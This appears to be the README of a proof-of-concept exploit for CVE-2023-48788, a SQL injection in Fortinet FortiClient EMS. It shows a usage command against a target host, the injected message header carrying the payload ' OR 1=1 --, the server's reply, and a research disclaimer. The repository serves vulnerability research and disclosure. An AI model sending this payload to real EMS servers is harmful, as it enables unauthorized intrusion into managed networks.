CVE-2023-48788 Fortinet FortiClient EMS SQL Injection Vulnerabilitiy

An exploit proof of concept for FortiClient EMS CVE-2023-48788

Blog Post

More details here: https://www.horizon3.ai/attack-research/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive

Usage

$ python3 CVE-2023-48788.py -t 192.168.1.3 -p 8013
[+] Sent Message!
MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1 --
IP=127.0.0.1
MAC=00-50-56-11-22-33
FCT_ONNET=0
CAPS=32767
VDOM=default
EC_QUARANTINED=0
SIZE=    1600

X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NTczMTUzMkItMkUyOC00OEYwLUFDQ0YtNDI4MEU0ODNFRTE0Ck5XSUZTPUV0aGVybmV0MHwxMC4wLjQwLjg1fDAwLTUwLTU2LTg0LTMzLWIyfDEwLjAuNDAuMjU0fGY0LTRlLTA1LTRmLTZjLTQ4fDF8KnwwClVUQz0xNzEwMjcxNzc0ClBDX0RPTUFJTj0KQ09NX01BTj1WTXdhcmUsIEluYy4KQ1BVPUludGVsKFIpIFhlb24oUikgU2lsdmVyIDQyMTUgQ1BVIEAgMi41MEdIegpNRU09MTIyODcKSEREPTk5CkNPTV9TTj1WTXdhcmUtNDIgMDQgZWQgMmQgNjQgZTggMGIgMTQtNDUgZTkgZTQgZjYgNWEgYzcgNjcgODIKRE9NQUlOPQpXT1JLR1JPVVA9V09SS0dST1VQClVTRVJfU0lEPVMtMS01LTIxLTI2MTY1Njk4OTQtNDUzOTU0ODcxLTE0NTg4MDY4Mi01MDAKR1JPVVBfVEFHPQpBREdVSUQ9CkVQX0ZHVENIS1NVTT0wCkVQX1JVTEVDSEtTVU09MApXRl9GSUxFU0NIS1NVTT0wCkVQX0FQUENUUkxDSEtTVU09MAo=
X-FCCK-REGISTER-END


b'FCKARPLY: CONT|1|EMSSN|FCTEMS0000125605:DESKTOP-RFJJIFA|UPLD_PRT|8013|KA_INTERVAL|60|LIC_FEATS|283004|LIC_ED|1867910400|AUTH_PRD|0|SNAPTIME|0|QUAR|0|AVTR|1|AV_SIG|92.02456|SERIAL|56F9B1CCCB1ABD1B69E05B3A451A1A1656032602|EMS_ONNET|0|TAGS|000000000000000000000000000000000000000000000000000|\r\n'
[+] The target is vulnerable!

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Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.